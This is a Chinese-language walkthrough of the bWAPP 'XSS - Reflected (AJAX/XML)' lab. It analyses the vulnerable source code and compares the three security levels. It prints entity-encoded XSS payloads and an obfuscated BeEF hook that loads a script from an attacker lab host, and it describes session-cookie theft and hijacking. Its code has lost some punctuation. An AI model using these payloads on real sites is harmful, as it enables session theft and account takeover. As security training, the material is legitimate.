摘要这是 bWAPP 系列第四十七篇聚焦于 XSS - Reflected (AJAX/XML)。这一关和上一篇AJAX/JSON的核心区别在于后端返回结构化XML 数据而非 JSON。前端通过 AJAX 异步请求获取 XML、通过responseXML解析文档对象最终提取内容交由innerHTML渲染页面。漏洞核心成因一致用户可控输入无严格过滤直接拼接进 XML 响应体。本文详细剖析该类 AJAX/XML 型反射 XSS 的三层安全级别差异、手工注入流程、BeEF Cookie 劫持利用附真实案例贴合实战渗透场景。一、找目标目标说明漏洞类型反射型 XSSAJAX/XML 异步解析型注入点前端输入框 → 异步 GET 参数 titleAJAX 动态提交响应格式标准 text/xml 结构化文档前端解析链路responseXML 解析 XML DOM → 提取文本 → innerHTML 渲染 DOM触发方式输入框实时触发 / 构造恶意链接诱导用户访问利用工具BeEF浏览器挂钩、窃取 Cookie、会话劫持二、前言AJAX/XML 型 XSS 是什么用户在页面输入框提交内容前端 JS 捕获输入值自动发起 AJAX GET 请求后端将用户输入直接拼接进 XML 根节点response中返回前端通过responseXML解析完整 XML 文档对象JS 提取 XML 节点内的文本内容最终通过innerHTML写入页面 DOM触发 HTML 解析与脚本执行。核心风险点XML 解析器只校验标签语法不过滤 HTML 恶意事件属性后端 Low/Medium 级别未对特殊标签 做实体转义前端高危写法可信 XML 结构化数据直接落入 innerHTML实现 HTML 上下文逃逸异步 AJAX 请求无刷新触发漏洞隐蔽性远高于普通反射 XSS。三、关卡介绍3.1 页面功能标题XSS - Reflected (AJAX/XML)一个搜索框输入电影名AJAX 请求返回结果3.2 正常使用输入 IRON MAN → 正常回显Yes! We have that movie...输入 AVATAR → 正常回显AVATAR??? Sorry, we dont have that movie :(3.3 观察 AJAX 请求F12 → Network抓取异步请求xss_ajax_1-2.php?titleAVATAR后端标准 XML 响应?xml version1.0 encodingUTF-8 standaloneyes? responseAVATAR??? Sorry, we dont have that movie :(/response四、源码分析4.1 前端xss_ajax_1.jsfunction process() { title encodeURIComponent(document.getElementById(title).value); xmlHttp.open(GET, xss_ajax_1-2.php?title title, true); xmlHttp.onreadystatechange handleServerResponse; xmlHttp.send(null); } function handleServerResponse() { if(xmlHttp.readyState 4 xmlHttp.status 200) { xmlResponse xmlHttp.responseXML; xmlDocumentElement xmlResponse.documentElement; result xmlDocumentElement.firstChild.data; document.getElementById(result).innerHTML result; // 漏洞点 } }漏洞核心后端可控内容经过 XML 解析后直接赋值给innerHTML浏览器会将文本解析为 HTML 标签并执行事件脚本。4.2 后端xss_ajax_1-2.phpfunction xss($data) { switch($_COOKIE[security_level]) { case 0 : $data no_check($data); break; // 无过滤 case 1 : $data xss_check_4($data); break; // addslashes() case 2 : $data xss_check_3($data); break; // htmlspecialchars() } return $data; } echo response; echo xss($title) . ??? Sorry, we dont have that movie :(; echo /response;五、Low 安全级别——手工注入5.1 关键误区纠正很多学习者踩坑直接输入 img srcx οnerrοralert(1) 无法弹窗。 原因XML 解析器会识别该标签为 XML 节点自动剔除 onerror 等 HTML 专属事件属性导致事件失效、无弹窗。本关 XML XSS正确可用 Payload实体编码绕过 XML 解析保留完整事件lt;img srcx onerroralert(1)gt;原理XML 解析器将lt;解析还原成字符gt;还原成最终输出完整 HTML 字符串给innerHTML成功触发弹窗。六、使用 BeEF 获取 Cookie6.1 注入 BeEF HookXML 适配 Payload适配 XML 解析规则使用实体编码完整 Hook 载荷避免被 XML 过滤lt;img srcx onerrorsdocument.createElement(String.fromCharCode(115,99,114,105,112,116));s.srcString.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)gt;6.2 观察后端 XML 响应XML 解析后还原完整恶意标签前端 innerHTML 成功渲染并执行脚本加载远程 hook.js。6.3 BeEF 浏览器上线受害者页面加载后自动连接攻击机 BeEF 服务控制面板 Online Browsers 出现上线主机。6.4 获取 Cookie 与会话劫持调用 BeEF 获取 Cookie 模块可拿到受害者PHPSESSID、安全级别 Cookie 等会话凭证。攻击者本地伪造相同 Cookie即可无密码登录受害者后台完成会话劫持攻击。七、Medium 安全级别Medium 级别采用addslashes()过滤仅转义单双引号不转义尖括号 。XML 结构不被破坏恶意标签完整保留innerHTML 依旧可以解析执行脚本XSS 漏洞依然存在。尝试注入lt;img srcx onerroralert(1)gt;八、High 安全级别High 级别启用htmlspecialchars()全局实体转义将、、引号、 全部转为实体字符。XML 响应内恶意载荷变为纯文本展示无法被 HTML 解析XSS 彻底防御。尝试注入lt;img srcx onerroralert(1)gt;九、三种安全级别对比级别过滤函数漏洞状态核心原因Low无过滤存在 XSS用户输入完全可控直接拼接 XMLMediumaddslashes()存在 XSS仅转义引号保留标签尖括号Highhtmlspecialchars()漏洞修复全量 HTML 实体转义杜绝标签注入十、真实世界AJAX/XML XSS 权威真实案例案例1企业后台 AJAX 搜索 XML 回显 XSS通用商业系统漏洞大量传统 OA、CRM、企业管理后台采用「AJAX 异步请求 XML 结构化返回 innerHTML 前端渲染」架构。这类系统普遍存在编码漏洞后端仅过滤引号未转义标签符号攻击者可通过搜索、查询、备注等输入点注入恶意 HTML 事件标签。漏洞原理与本关完全一致用户输入拼接 XML → 前端 XML 解析 → innerHTML 渲染触发 XSS黑客可植入挂马脚本、窃取管理员 Cookie实现后台权限接管是政企渗透中高频遇见的高危漏洞。案例2jQuery 异步 XML 解析 XSS 系列漏洞CVE-2020-11022 / CVE-2020-11023该漏洞影响 jQuery 1.2 ~ 3.5.0 全系列版本是互联网影响范围最广的 AJAX 异步渲染 XSS 漏洞。漏洞核心场景与本文高度契合前端通过 AJAX 获取 XML/文本数据通过 jQuery.html()、.append()等 DOM 方法动态渲染页面。攻击者可构造特殊含事件属性的标签载荷利用前端异步解析、DOM 动态渲染逻辑绕过前端安全机制实现存储/反射型 XSS。大量老版本网站、管理后台、SaaS 平台因此漏洞被批量挂马、会话劫持完美印证本篇「异步AJAX 结构化数据 innerHTML 高危组合」的风险。案例3开源 CMS 异步接口 XML 未转义 XSS厂商公开漏洞公告多款开源内容管理系统、建站系统的搜索、评论、数据查询接口为追求加载速度采用 AJAX 异步 XML 响应。因开发人员误用「XML 结构化传输前端 innerHTML 渲染」组合未做全局实体转义导致用户可控参数可注入恶意脚本。该类漏洞危害极大无需用户交互、异步无刷新触发可批量窃取访客 Cookie、植入挖矿脚本、跳转钓鱼页面是白帽渗透测试中重点检测的高危漏洞类型。十一、总结AJAX/XML 型反射 XSS 的核心风险逻辑固定后端结构化 XML 响应未过滤用户输入前端异步解析后直接交由 innerHTML 渲染 DOM。三级安全级别防护结论清晰Low 无过滤、Medium 仅过滤引号均无法防御 XSS 攻击唯一根治方案使用htmlspecialchars()对用户输入做全量 HTML 实体转义XML 场景特殊坑点直接写入标签会被 XML 解析器丢弃事件必须实体编码绕过真实互联网中大量老旧系统、jQuery 架构系统普遍存在该漏洞危害持久。无论是 JSON 还是 XML 异步 XSS核心安全准则不变所有用户可控输入最终会渲染到 HTML 页面时必须做严格的 HTML 实体转义杜绝 DOM 上下文逃逸与脚本执行。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。